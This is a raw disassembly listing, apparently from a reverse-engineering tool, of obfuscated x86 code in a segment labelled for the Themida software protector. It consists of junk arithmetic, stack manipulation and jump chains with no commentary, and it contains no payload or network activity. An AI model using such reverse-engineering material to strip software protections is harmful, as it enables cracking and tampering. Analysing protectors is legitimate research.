sub dl, 2Eh
pop bx
shl dl, 4
jmp loc_5AD818
; ---------------------------------------------------------------------------
loc_5A609B: ; CODE XREF: Themida_:005AE832j
push ebp
mov ebp, 1641F4Ch
jmp loc_5A968C
; ---------------------------------------------------------------------------
loc_5A60A6: ; CODE XREF: Themida_:0059AE55j
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_5A782C
; ---------------------------------------------------------------------------
loc_5A60B2: ; CODE XREF: Themida_:005ADD20j
add edi, 4
sub edi, 4
xchg edi, [esp]
jmp loc_5A2FE0
; ---------------------------------------------------------------------------
loc_5A60C6: ; CODE XREF: Themida_:005A3220j
add dword ptr [esp+4], 250C6AA0h
mov eax, [esp]
jmp loc_59E4F8
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A60DE: ; CODE XREF: Themida_:005A145Aj
push 87A7F69h
pop ebp
neg ebp
jmp loc_5A2204
; ---------------------------------------------------------------------------
loc_5A60EB: ; CODE XREF: Themida_:005A0E86j
and ebx, 68BB541Dh
jmp loc_5A3A49
; ---------------------------------------------------------------------------
mov ax, [esp]
push esi
push esp
pop esi
push edx
push ebx
jmp loc_5A40E7
; ---------------------------------------------------------------------------
loc_5A6104: ; CODE XREF: Themida_:00598DB0j
; Themida_:005A7D05j
add esp, 4
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
jmp loc_5A639A
; ---------------------------------------------------------------------------
loc_5A6115: ; CODE XREF: Themida_:005A05ADj
add esp, 4
jmp loc_5A2DCD
; ---------------------------------------------------------------------------
loc_5A6120: ; CODE XREF: Themida_:0059A666j
or esi, 43DD54B5h
sub esi, 51F16E10h
mov edx, esi
pop esi
add edx, edi
pop edi
jmp loc_5AF293
; ---------------------------------------------------------------------------
loc_5A6137: ; CODE XREF: Themida_:0059A7D0j
sub edx, edi
pop edi
jmp loc_59E282
; ---------------------------------------------------------------------------
loc_5A613F: ; CODE XREF: Themida_:0059888Ej
; Themida_:005A9BEEj
push 4828h
mov [esp], edi
jmp loc_5A565D
; ---------------------------------------------------------------------------
loc_5A614C: ; CODE XREF: Themida_:0059EDC8j
jmp loc_5A9EAE
; ---------------------------------------------------------------------------
loc_5A6151: ; CODE XREF: Themida_:005AC23Dj
pop ecx
jmp loc_5AAA14
; ---------------------------------------------------------------------------
loc_5A6157: ; CODE XREF: Themida_:005A38F2j
pop eax
jmp loc_5A84E6
; ---------------------------------------------------------------------------
loc_5A615D: ; CODE XREF: Themida_:005999FDj
mov [esp], edx
mov dh, 0Eh
inc dh
shl dh, 3
jmp loc_5A15FD
; ---------------------------------------------------------------------------
loc_5A616C: ; CODE XREF: Themida_:005A9D52j
sub esp, 4
mov [esp], ebx
jmp loc_5A86F6
; ---------------------------------------------------------------------------
loc_5A6177: ; CODE XREF: Themida_:005A75DDj
mov edi, 4
jmp loc_598554
; ---------------------------------------------------------------------------
loc_5A6181: ; CODE XREF: Themida_:005A584Cj
xchg edx, [esp]
jmp loc_598578
; ---------------------------------------------------------------------------
loc_5A6189: ; CODE XREF: Themida_:loc_59E4E5j
sub esp, 4
mov [esp], ebx
jmp loc_5A49D9
; ---------------------------------------------------------------------------
loc_5A6194: ; CODE XREF: Themida_:00599B53j
; Themida_:005ADDE2j
inc ebp
dec ebp
and ebp, 72BE4115h
push 50C4h
jmp loc_5ABCFE
; ---------------------------------------------------------------------------
loc_5A61A6: ; CODE XREF: Themida_:0059EADBj
xor dl, 0A9h
shl dl, 6
push ax
mov al, 2Fh
jmp loc_599AB5
; ---------------------------------------------------------------------------
loc_5A61B5: ; CODE XREF: Themida_:005A024Aj
add [esp+4], edi
jmp loc_5AB419
; ---------------------------------------------------------------------------
loc_5A61BE: ; CODE XREF: Themida_:005A412Aj
mov ecx, [esp]
add esp, 4
add edx, 2
push edx
push dword ptr [esp+4]
jmp loc_5A3620
; ---------------------------------------------------------------------------
loc_5A61D4: ; CODE XREF: Themida_:005A79FBj
pop ebx
xor eax, ebp
pop ebp
push eax
add dword ptr [esp], 418F645Dh
pop esi
jmp loc_5AA6E7
; ---------------------------------------------------------------------------
loc_5A61E6: ; CODE XREF: Themida_:0059C172j
; Themida_:005A18BCj
add esp, 4
add ebx, edi
pop edi
sub esp, 4
jmp loc_59F87B
; ---------------------------------------------------------------------------
loc_5A61F7: ; CODE XREF: Themida_:0059E02Cj
add eax, 4
push ecx
jmp loc_59960E
; ---------------------------------------------------------------------------
loc_5A6202: ; CODE XREF: Themida_:005A7DF4j
pop ebp
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
mov esp, [esp]
push 3423h
mov [esp], ebp
jmp loc_5985F6
; ---------------------------------------------------------------------------
loc_5A6223: ; CODE XREF: Themida_:loc_599407j
push eax
push ecx
jmp loc_599B5E
; ---------------------------------------------------------------------------
loc_5A622A: ; CODE XREF: Themida_:005A53B0j
push 5E01h
jmp loc_5AC602
; ---------------------------------------------------------------------------
loc_5A6234: ; CODE XREF: Themida_:005A77FAj
pop ecx
sub bl, al
sub bl, 0D6h
jmp loc_59D74C
; ---------------------------------------------------------------------------
loc_5A623F: ; CODE XREF: Themida_:005AEB25j
push eax
jmp loc_5A1E1F
; ---------------------------------------------------------------------------
loc_5A6245: ; CODE XREF: Themida_:0059C1ADj
and ecx, 3AFB3689h
jmp loc_59A0BF
; ---------------------------------------------------------------------------
loc_5A6250: ; CODE XREF: Themida_:005A6EB3j
add edx, 4
push ebx
jmp loc_5A39BA
; ---------------------------------------------------------------------------
loc_5A625C: ; CODE XREF: Themida_:005A7757j
jb loc_5AB1C0
jmp loc_5A9909
; ---------------------------------------------------------------------------
loc_5A6267: ; CODE XREF: Themida_:005AD7EEj
push eax
jmp loc_5995D6
; ---------------------------------------------------------------------------
loc_5A626D: ; CODE XREF: Themida_:005ABB9Ej
mov ecx, [esp]
jmp loc_5ADD5C
; ---------------------------------------------------------------------------
loc_5A6275: ; CODE XREF: Themida_:0059EB90j
mov ebx, [esp]
jmp loc_5A769C
; ---------------------------------------------------------------------------
loc_5A627D: ; CODE XREF: Themida_:005A74B4j
sub esp, 4
jmp loc_5A46E1
; ---------------------------------------------------------------------------
loc_5A6285: ; CODE XREF: Themida_:005A1667j
or cl, 58h
add cl, 6Ah
xor cl, 5Fh
sub dl, cl
pop ecx
add ah, dl
jmp loc_5A0033
; ---------------------------------------------------------------------------
loc_5A6298: ; CODE XREF: Themida_:005A460Bj
add ebp, 2
xor ebp, [esp]
jmp loc_59D763
; ---------------------------------------------------------------------------
loc_5A62A3: ; CODE XREF: Themida_:005A4AB7j
mov [esp], edi
push ecx
jmp loc_5ACF5A
; ---------------------------------------------------------------------------
loc_5A62AC: ; CODE XREF: Themida_:00599A3Bj
mov eax, [esp]
add esp, 4
or eax, 462234B9h
sub eax, 2F1C24D1h
jmp loc_5AB9B0
; ---------------------------------------------------------------------------
loc_5A62C1: ; CODE XREF: Themida_:005A1DF4j
pop ecx
jmp loc_59FCEA
; ---------------------------------------------------------------------------
loc_5A62C7: ; CODE XREF: Themida_:005A1B7Aj
; Themida_:005A74EDj
sub ebx, 0EBB5082h
jmp loc_5A0DF8
; ---------------------------------------------------------------------------
loc_5A62D2: ; CODE XREF: Themida_:0059C121j
; Themida_:005A850Fj
add esp, 4
jmp loc_5A0837
; ---------------------------------------------------------------------------
loc_5A62DA: ; CODE XREF: Themida_:005AED12j
mov eax, ebx
mov ebx, [esp]
jmp loc_59ECF4
; ---------------------------------------------------------------------------
loc_5A62E4: ; CODE XREF: Themida_:005AA71Cj
push ebp
mov ebp, 1A233121h
mov eax, ebp
jmp loc_5A40A4
; ---------------------------------------------------------------------------
loc_5A62F1: ; CODE XREF: Themida_:005AAB63j
mov [esp], ebx
mov ebx, 533713B4h
add ebp, ebx
pop ebx
add edx, 7733893h
jmp loc_5A6AD7
; ---------------------------------------------------------------------------
loc_5A6307: ; CODE XREF: Themida_:005AC499j
and [esp], eax
pushf
jmp loc_5ABD3E
; ---------------------------------------------------------------------------
loc_5A6310: ; CODE XREF: Themida_:0059851Ej
; Themida_:00599ED1j
push 14FCh
mov [esp], ebp
push 0A29h
mov [esp], eax
mov eax, 61770B2Ah
push eax
mov eax, 667B6A0Eh
jmp loc_5A6C0D
; ---------------------------------------------------------------------------
loc_5A6330: ; CODE XREF: Themida_:005A4C31j
add ecx, 17077594h
jb loc_5A44F2
and ecx, 60A75FCDh
jmp loc_5A161B
; ---------------------------------------------------------------------------
loc_5A6347: ; CODE XREF: Themida_:loc_5A07E6j
jmp loc_5AC60B
; ---------------------------------------------------------------------------
loc_5A634C: ; CODE XREF: Themida_:005AA97Aj
xor [esp], edx
xor edx, [esp]
jmp loc_5AF4A2
; ---------------------------------------------------------------------------
loc_5A6357: ; CODE XREF: Themida_:005ADA98j
mov dl, 0A8h
push eax
jmp loc_5A4938
; ---------------------------------------------------------------------------
loc_5A635F: ; CODE XREF: Themida_:005A2536j
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
xor eax, [esp]
xor [esp], eax
jmp loc_5A5CF7
; ---------------------------------------------------------------------------
loc_5A637A: ; CODE XREF: Themida_:0059B074j
pop ecx
push ebp
jmp loc_5A4EC3
; ---------------------------------------------------------------------------
loc_5A6381: ; CODE XREF: Themida_:005A91FEj
add esp, 4
neg dh
inc dh
sub dh, 3Fh
sub cl, dh
jmp loc_59DF97
; ---------------------------------------------------------------------------
loc_5A6392: ; CODE XREF: Themida_:0059B8F0j
mov [esp], ecx
jmp loc_5A3AD8
; ---------------------------------------------------------------------------
loc_5A639A: ; CODE XREF: Themida_:005A6110j
mov esp, [esp]
mov [esp], ax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A63A6: ; CODE XREF: Themida_:005A5ACCj
pop esp
push dword ptr [esp]
mov eax, [esp]
add esp, 4
jmp loc_59F305
; ---------------------------------------------------------------------------
loc_5A63B5: ; CODE XREF: Themida_:005AC0A9j
dec ebp
add ebp, 3C701333h
jmp loc_5A5DAB
; ---------------------------------------------------------------------------
loc_5A63C1: ; CODE XREF: Themida_:005A9CD6j
jnz loc_59DFFE
dec ebp
jnp loc_5A7D86
push ecx
mov ecx, 3AB0DC03h
loc_5A63D4: ; CODE XREF: Themida_:005A9B26j
sub eax, 0EDF6B7h
add edx, eax
pop eax
push eax
mov eax, 5DF95234h
not eax
jmp loc_5A9CBE
; ---------------------------------------------------------------------------
loc_5A63E9: ; CODE XREF: Themida_:005A2760j
mov ecx, [esp]
add esp, 4
push edi
mov edi, 787B0B2Bh
jmp loc_5ABB3D
; ---------------------------------------------------------------------------
loc_5A63FA: ; CODE XREF: Themida_:005AF093j
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_5A5D1F
; ---------------------------------------------------------------------------
loc_5A6406: ; CODE XREF: Themida_:005AEF90j
mov ecx, ebx
jmp loc_59B501
; ---------------------------------------------------------------------------
loc_5A640D: ; CODE XREF: Themida_:005A924Ej
push edx
push 7Dh
mov [esp], esp
add dword ptr [esp], 4
pop edx
push ebx
push 2A98h
mov [esp], edx
mov edx, 65320F66h
mov ebx, 65320F6Ah
add ebx, 48245955h
sub ebx, edx
sub ebx, 48245955h
pop edx
add edx, ebx
mov ebx, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
push ebx
mov ebx, 4073246Dh
jmp loc_5A4B06
; ---------------------------------------------------------------------------
loc_5A6459: ; CODE XREF: Themida_:005AC300j
mov cl, 0A8h
jmp loc_5A4EB0
; ---------------------------------------------------------------------------
loc_5A6460: ; CODE XREF: Themida_:0059E39Aj
push ecx
mov ecx, 2AA94F75h
add esi, ecx
pop ecx
add esi, ebx
jmp loc_59FE8E
; ---------------------------------------------------------------------------
loc_5A6470: ; CODE XREF: Themida_:0059F6C4j
; Themida_:005ADE11j
add eax, 97B635CAh
or esi, eax
pop eax
xor esi, 447C4946h
push edx
jmp loc_599C1C
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_59BBC3
; ---------------------------------------------------------------------------
loc_5A6493: ; CODE XREF: Themida_:005AF1BFj
shl esi, 4
jmp loc_5A914D
; ---------------------------------------------------------------------------
loc_5A649B: ; CODE XREF: Themida_:005A5817j
pop eax
push edi
mov edi, esp
add edi, 4
add edi, 4
jmp loc_5A2E93
; ---------------------------------------------------------------------------
loc_5A64B0: ; CODE XREF: Themida_:0059DE92j
neg eax
js loc_59A9DC
shr eax, 4
jp loc_59A5B2
shr eax, 3
jnz loc_5AAD55
jmp loc_5A3947
; ---------------------------------------------------------------------------
push ebp
mov cl, ch
mov ch, 0ECh
loc_5A64D4: ; CODE XREF: Themida_:005A1AE0j
push 7AEBh
jmp loc_5A279B
; ---------------------------------------------------------------------------
loc_5A64DE: ; CODE XREF: Themida_:0059EECDj
pop esp
jmp loc_5A26F7
; ---------------------------------------------------------------------------
loc_5A64E4: ; CODE XREF: Themida_:005A1D7Bj
mov esp, [esp]
mov [esp], ax
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A64F0: ; CODE XREF: Themida_:005A2818j
xor ebp, 3299EFB1h
sub ebx, 4CAF4F3Ch
jmp loc_5A9701
; ---------------------------------------------------------------------------
loc_5A6501: ; CODE XREF: Themida_:005AD211j
push dword ptr [esp]
push dword ptr [esp]
jmp loc_5A5417
; ---------------------------------------------------------------------------
loc_5A650C: ; CODE XREF: Themida_:0059B7E9j
; Themida_:0059DFC7j
push dword ptr [esp]
pop esi
add esp, 4
add esi, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
pop bx
add al, 76h
sub al, dh
jmp loc_59B1F1
; ---------------------------------------------------------------------------
loc_5A652D: ; CODE XREF: Themida_:005A2A2Dj
mov [esp], edx
push 2
pop edx
add ebx, 305A543Bh
add ebx, edx
sub ebx, 305A543Bh
jmp loc_5A7856
; ---------------------------------------------------------------------------
loc_5A6549: ; CODE XREF: Themida_:005AB8EBj
pop ecx
push edx
jmp loc_5A3996
; ---------------------------------------------------------------------------
loc_5A6550: ; CODE XREF: Themida_:005ABB90j
add bl, 7
pop dx
pop eax
sub esp, 2
jmp loc_5AE445
; ---------------------------------------------------------------------------
loc_5A6561: ; CODE XREF: Themida_:005A3088j
pop edi
not esi
sub esi, 137B9040h
mov edx, esi
pop esi
push ebp
mov ebp, 337A1F28h
jmp loc_5997A2
; ---------------------------------------------------------------------------
loc_5A6578: ; CODE XREF: Themida_:0059E05Fj
mov eax, [esp]
add esp, 4
push ecx
jmp loc_5A1BFA
; ---------------------------------------------------------------------------
loc_5A6584: ; CODE XREF: Themida_:0059A4F9j
; Themida_:loc_59B198j
mov edx, [esp]
add esp, 4
push esi
mov esi, 5E225E0h
jmp loc_59DDA0
; ---------------------------------------------------------------------------
loc_5A6595: ; CODE XREF: Themida_:0059BA7Fj
; Themida_:0059C4BFj
jnp loc_5AA946
sub ebp, 754A18A9h
jmp loc_59FB06
; ---------------------------------------------------------------------------
loc_5A65A6: ; CODE XREF: Themida_:0059897Ej
neg eax
add eax, 8430C06Dh
mov edi, eax
pop eax
add ecx, 5DF60ACAh
add ecx, edi
sub ecx, 5DF60ACAh
mov edi, [esp]
add esp, 4
xchg ecx, [esp]
mov esp, [esp]
push eax
push edx
mov edx, 556C091Dh
jmp loc_5AC042
; ---------------------------------------------------------------------------
loc_5A65D9: ; CODE XREF: Themida_:005ABBD7j
inc edx
jg loc_5A0EB8
add edx, 56D002BBh
jmp loc_5A4B7E
; ---------------------------------------------------------------------------
loc_5A65EB: ; CODE XREF: Themida_:005A2C61j
; Themida_:loc_5A3225j
mov ebp, 6EA8753Eh
add [esp+8], ebp
pop ebp
pop eax
pop eax
push 668Ch
mov [esp], ecx
mov ecx, 3F6F0241h
add eax, ecx
jmp loc_5AEFDE
; ---------------------------------------------------------------------------
loc_5A660B: ; CODE XREF: Themida_:00599F33j
mov [esp], eax
push 47A21E9Dh
jmp loc_5ACCD5
; ---------------------------------------------------------------------------
loc_5A6618: ; CODE XREF: Themida_:0059F8F4j
add esp, 4
jmp loc_59BE9F
; ---------------------------------------------------------------------------
loc_5A6623: ; CODE XREF: Themida_:0059A62Ej
push small word ptr [eax]
jmp loc_59838C
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], al
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A663A: ; CODE XREF: Themida_:005AB5C1j
mov [esp], ecx
mov ecx, 22201663h
shl ecx, 3
dec ecx
jle loc_5993AC
dec ecx
jl loc_59A03A
jmp loc_5997D7
; ---------------------------------------------------------------------------
loc_5A6658: ; CODE XREF: Themida_:005A3D22j
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop edi
push ecx
jmp loc_59A0DA
; ---------------------------------------------------------------------------
loc_5A6677: ; CODE XREF: Themida_:0059C38Fj
dec ebp
xchg eax, ebp
sub eax, 0FC22CDD4h
add esi, eax
mov eax, [esp]
add esp, 4
add ebx, esi
pop esi
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_59B223
; ---------------------------------------------------------------------------
loc_5A669B: ; CODE XREF: Themida_:005A3B57j
add esp, 4
push 209Ch
mov [esp], ebp
sub esp, 4
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop ebp
push ecx
jmp loc_5996BE
; ---------------------------------------------------------------------------
loc_5A66BB: ; CODE XREF: Themida_:005A5E3Fj
pop ebx
jmp loc_59B146
; ---------------------------------------------------------------------------
loc_5A66C1: ; CODE XREF: Themida_:0059DCADj
and ebp, esi
push dword ptr [esp]
pop esi
push edi
push esp
pop edi
add edi, 4
jmp loc_5AF151
; ---------------------------------------------------------------------------
loc_5A66D5: ; CODE XREF: Themida_:005A7A30j
sub eax, 0CF448420h
xor ebp, eax
jmp loc_5A8197
; ---------------------------------------------------------------------------
mov ax, [esp]
push 185Dh
mov [esp], ebx
mov ebx, esp
sub esp, 4
mov [esp], eax
jmp loc_5AE47A
; ---------------------------------------------------------------------------
loc_5A66FD: ; CODE XREF: Themida_:0059BC7Cj
push ebp
mov ebp, esp
push ebp
push esp
pop ebp
add ebp, 4
push ebx
jmp loc_5A46A4
; ---------------------------------------------------------------------------
loc_5A670F: ; CODE XREF: Themida_:005AE533j
jmp loc_59838C
; ---------------------------------------------------------------------------
mov cx, [esp]
push esi
jmp loc_5AA248
; ---------------------------------------------------------------------------
loc_5A671E: ; CODE XREF: Themida_:00598F3Ej
shl edi, 6
xor edi, 7155B059h
xor eax, edi
jmp loc_5A8F8A
; ---------------------------------------------------------------------------
loc_5A672E: ; CODE XREF: Themida_:loc_59C133j
xor ebx, 187B5BD3h
mov ebp, ebx
pop ebx
jmp loc_5AD9EC
; ---------------------------------------------------------------------------
loc_5A673C: ; CODE XREF: Themida_:005A3A34j
add esp, 4
sub ecx, esi
add ecx, 52A00D56h
push eax
mov eax, 0F7E7FB8h
sub eax, 4AAA0B07h
or eax, 3A5508C2h
dec eax
inc eax
add eax, 6C0EFCFEh
jmp loc_5A73B4
; ---------------------------------------------------------------------------
loc_5A6763: ; CODE XREF: Themida_:005A8A43j
mov ax, [esp]
jmp loc_5AD72A
; ---------------------------------------------------------------------------
loc_5A676C: ; CODE XREF: Themida_:005A7AA4j
mov ebx, esp
add ebx, 4
push ebp
mov ebp, 4
sub ebx, ebp
pop ebp
push ebx
push dword ptr [esp+4]
jmp loc_5A3339
; ---------------------------------------------------------------------------
loc_5A6787: ; CODE XREF: Themida_:005AE15Fj
add esp, 4
push 3FA3h
mov [esp], edx
mov dh, bl
mov [edi+eax*4+1], dh
jmp loc_5A399C
; ---------------------------------------------------------------------------
loc_5A67A0: ; CODE XREF: Themida_:0059C9B1j
; Themida_:0059F68Bj
xor ecx, 5F6F0FFBh
jmp loc_599982
; ---------------------------------------------------------------------------
loc_5A67AB: ; CODE XREF: Themida_:loc_598F13j
jmp loc_5A438B
; ---------------------------------------------------------------------------
loc_5A67B0: ; CODE XREF: Themida_:0059A4D7j
mov edi, 0FFFFFFFFh
add ecx, edi
pop edi
push edi
mov edi, 17F625D7h
xor edi, 508F2EC6h
add ecx, edi
mov edi, [esp]
add esp, 4
jmp loc_5AE135
; ---------------------------------------------------------------------------
loc_5A67D4: ; CODE XREF: Themida_:005ABD9Cj
add esi, 1AFC3C81h
jmp loc_5AA1E6
; ---------------------------------------------------------------------------
loc_5A67DF: ; CODE XREF: Themida_:005A8D03j
shl dh, 6
neg dh
sub dh, 6Eh
push eax
mov al, dh
jmp loc_5AC64C
; ---------------------------------------------------------------------------
loc_5A67EF: ; CODE XREF: Themida_:005A371Fj
push edx
mov edx, esp
add edx, 4
jmp loc_5AEBF0
; ---------------------------------------------------------------------------
loc_5A67FD: ; CODE XREF: Themida_:0059E235j
mov edx, [esp]
jmp loc_5ACFBA
; ---------------------------------------------------------------------------
loc_5A6805: ; CODE XREF: Themida_:005A9A68j
mov edi, 1AEC7EA0h
push 2B7FA1B5h
pop eax
add eax, edi
mov edi, [esp]
add esp, 4
mov ebx, eax
mov eax, [esp]
jmp loc_599FEB
; ---------------------------------------------------------------------------
loc_5A6822: ; CODE XREF: Themida_:005AEA5Ej
neg ecx
sub ecx, 3FE78514h
jmp loc_5ADA23
; ---------------------------------------------------------------------------
loc_5A682F: ; CODE XREF: Themida_:005A9515j
add cl, dl
pop edx
sub al, 0CCh
add al, 0D1h
sub al, 3Fh
jmp loc_5A1A97
; ---------------------------------------------------------------------------
loc_5A683D: ; CODE XREF: Themida_:0059B75Dj
xor ebx, edx
jmp loc_5A4821
; ---------------------------------------------------------------------------
loc_5A6844: ; CODE XREF: Themida_:005A4EB3j
sub cl, 72h
add dl, cl
pop ecx
sub dl, 24h
sub dl, 68h
add dl, cl
add dl, 68h
add dl, 24h
sub dl, 70h
jmp loc_5A9111
; ---------------------------------------------------------------------------
loc_5A6860: ; CODE XREF: Themida_:005A7B83j
xchg ebp, [esp]
jmp loc_59C5A8
; ---------------------------------------------------------------------------
loc_5A6868: ; CODE XREF: Themida_:005A3889j
mul ecx
push 76BDh
mov [esp], esi
mov esi, esp
add esi, 4
sub esi, 4
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_59954C
; ---------------------------------------------------------------------------
loc_5A688E: ; CODE XREF: Themida_:005AB796j
sub dword ptr [esp+4], 69D567A5h
add [esp+4], edx
push eax
mov eax, 69D567A5h
jmp loc_599555
; ---------------------------------------------------------------------------
loc_5A68A5: ; CODE XREF: Themida_:005A1808j
mov edx, 794D6018h
jmp loc_59CBF5
; ---------------------------------------------------------------------------
loc_5A68AF: ; CODE XREF: Themida_:0059D54Ej
mov ecx, esi
pop esi
add ebx, ecx
pop ecx
jmp loc_5AA648
; ---------------------------------------------------------------------------
loc_5A68BA: ; CODE XREF: Themida_:0059DF87j
push edi
xor dword ptr [esp], 236729BCh
pop ebx
xor ebx, 236729BCh
mov edi, [esp]
add esp, 4
add ebx, edx
mov [ebx], al
mov ebx, [esp]
add esp, 4
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
pop ebx
jmp loc_59D0C1
; ---------------------------------------------------------------------------
loc_5A68F8: ; CODE XREF: Themida_:005A8B00j
pop ecx
and dl, 8Fh
xor dl, 62h
mov bh, dl
mov edx, [esp]
add esp, 4
xor al, bh
jmp loc_59E932
; ---------------------------------------------------------------------------
loc_5A6911: ; CODE XREF: Themida_:005A9EB7j
jmp loc_5988F1
; ---------------------------------------------------------------------------
loc_5A6916: ; CODE XREF: Themida_:loc_5A9B95j
jmp loc_5A9CD0
; ---------------------------------------------------------------------------
loc_5A691B: ; CODE XREF: Themida_:005A9A29j
add ecx, edx
add dword ptr [ecx], 1
pop ecx
pop edx
jmp loc_5990A9
; ---------------------------------------------------------------------------
loc_5A692A: ; CODE XREF: Themida_:0059DE42j
add edx, 45626E6Fh
pop edi
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
push esi
mov esi, esp
push edi
jmp loc_59E93B
; ---------------------------------------------------------------------------
loc_5A6946: ; CODE XREF: Themida_:005ACBD8j
push ebx
mov bl, 89h
mov ch, 0E4h
add ch, bl
jmp loc_599F44
; ---------------------------------------------------------------------------
loc_5A6952: ; CODE XREF: Themida_:loc_5A96D5j
xor eax, 6ABF3E62h
mov esi, eax
push dword ptr [esp]
pop eax
jmp loc_5A3AFB
; ---------------------------------------------------------------------------
loc_5A6962: ; CODE XREF: Themida_:005AEF57j
xor edx, 2DD67E54h
mov eax, edx
jmp loc_59F194
; ---------------------------------------------------------------------------
loc_5A696F: ; CODE XREF: Themida_:005A1E5Cj
pop ecx
jmp loc_599185
; ---------------------------------------------------------------------------
loc_5A6975: ; CODE XREF: Themida_:0059B708j
; Themida_:005A1537j
neg eax
jmp loc_59D3EE
; ---------------------------------------------------------------------------
loc_5A697C: ; CODE XREF: Themida_:005AB3F0j
add ebx, edi
sub ebx, 47ED53A3h
mov edi, [esp]
add esp, 4
xor ebx, edx
xor edx, ebx
jmp loc_59D3A9
; ---------------------------------------------------------------------------
loc_5A6993: ; CODE XREF: Themida_:005AE185j
sub edi, 22F2765Eh
add edi, ebp
add edi, 22F2765Eh
pop ebp
sub esp, 4
mov [esp], ecx
mov ecx, 2
push eax
mov eax, 60D41C9h
xor eax, 6E812701h
jmp loc_59AEBB
; ---------------------------------------------------------------------------
loc_5A69C0: ; CODE XREF: Themida_:005A8C3Aj
mov esi, 4
add eax, esi
mov esi, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_5A6D2E
; ---------------------------------------------------------------------------
loc_5A69D8: ; CODE XREF: Themida_:00598898j
; Themida_:00599D0Dj
jmp loc_5AABB3
; ---------------------------------------------------------------------------
loc_5A69DD: ; CODE XREF: Themida_:005AEA66j
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
dec cl
jmp loc_5A7094
; ---------------------------------------------------------------------------
loc_5A69F4: ; CODE XREF: Themida_:005AD387j
pop ecx
shr eax, 6
shr eax, 2
jmp loc_5A7536
; ---------------------------------------------------------------------------
loc_5A6A00: ; CODE XREF: Themida_:005AE9FEj
push 4663h
mov [esp], ecx
push 2
jmp loc_59BC39
; ---------------------------------------------------------------------------
loc_5A6A12: ; CODE XREF: Themida_:005A1111j
pop esp
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A6A18: ; CODE XREF: Themida_:0059B5BFj
xor ecx, 59158BCh
add eax, ecx
jmp loc_5A0B30
; ---------------------------------------------------------------------------
loc_5A6A25: ; CODE XREF: Themida_:0059D927j
; Themida_:005A7884j
sub edi, ebp
jmp loc_5A6A4D
; ---------------------------------------------------------------------------
loc_5A6A2C: ; CODE XREF: Themida_:0059E926j
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_5A42C6
; ---------------------------------------------------------------------------
loc_5A6A3E: ; CODE XREF: Themida_:0059A86Dj
pop esp
mov [esp], ebx
mov ebx, 44222552h
push ecx
jmp loc_5A79C1
; ---------------------------------------------------------------------------
loc_5A6A4D: ; CODE XREF: Themida_:005A6A27j
sub edi, 122D5E05h
pop ebp
add edi, 3D6E12A5h
jmp loc_59FB83
; ---------------------------------------------------------------------------
loc_5A6A5F: ; CODE XREF: Themida_:0059C9C0j
mov edx, eax
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
pop edi
xor esi, edx
push dword ptr [esp]
pop edx
push edi
mov edi, esp
jmp loc_5A374E
; ---------------------------------------------------------------------------
loc_5A6A86: ; CODE XREF: Themida_:005ACC73j
mov eax, esp
add eax, 4
jmp loc_5A13F9
; ---------------------------------------------------------------------------
loc_5A6A92: ; CODE XREF: Themida_:005A3DE9j
add ebp, 4
xchg ebp, [esp]
jmp loc_59F2BB
; ---------------------------------------------------------------------------
loc_5A6A9D: ; CODE XREF: Themida_:005A00EEj
push dword ptr [esp]
pop ecx
jmp loc_5A974E
; ---------------------------------------------------------------------------
loc_5A6AA6: ; CODE XREF: Themida_:005A1031j
pop eax
jmp loc_5A977A
; ---------------------------------------------------------------------------
loc_5A6AAC: ; CODE XREF: Themida_:0059BD34j
sub esi, ebp
add esi, 1A85B64h
pop ebp
mov edx, esi
mov esi, [esp]
add esp, 4
not edx
jmp loc_5AA97F
; ---------------------------------------------------------------------------
loc_5A6AC4: ; CODE XREF: Themida_:0059F680j
add edx, 31B00592h
add edx, eax
sub edx, 31B00592h
jmp loc_598D18
; ---------------------------------------------------------------------------
loc_5A6AD7: ; CODE XREF: Themida_:005A6302j
sub edx, ebp
push esi
mov esi, 7733893h
jmp loc_59D147
; ---------------------------------------------------------------------------
loc_5A6AE4: ; CODE XREF: Themida_:0059BFE8j
shr edx, 8
jp loc_5A8AC7
push ecx
jmp loc_5AB20C
; ---------------------------------------------------------------------------
loc_5A6AF3: ; CODE XREF: Themida_:0059DDDAj
; Themida_:005A236Aj
push 6751h
jmp loc_5A3D1C
; ---------------------------------------------------------------------------
loc_5A6AFD: ; CODE XREF: Themida_:005A841Dj
push ecx
push 4C320F12h
pop ecx
jmp loc_5A3B46
; ---------------------------------------------------------------------------
loc_5A6B09: ; CODE XREF: Themida_:0059EE8Dj
xchg edi, ecx
sub ecx, 18562EE4h
jmp loc_598CC4
; ---------------------------------------------------------------------------
loc_5A6B16: ; CODE XREF: Themida_:005A3852j
add ebx, eax
pop eax
dec ebx
jle loc_5A3D82
add ebx, 0F5A70B16h
push edi
mov edi, ebx
mov eax, edi
mov edi, [esp]
jmp loc_5AB996
; ---------------------------------------------------------------------------
loc_5A6B33: ; CODE XREF: Themida_:0059E833j
pop dword ptr [esp]
mov esp, [esp]
jmp loc_59EAF6
; ---------------------------------------------------------------------------
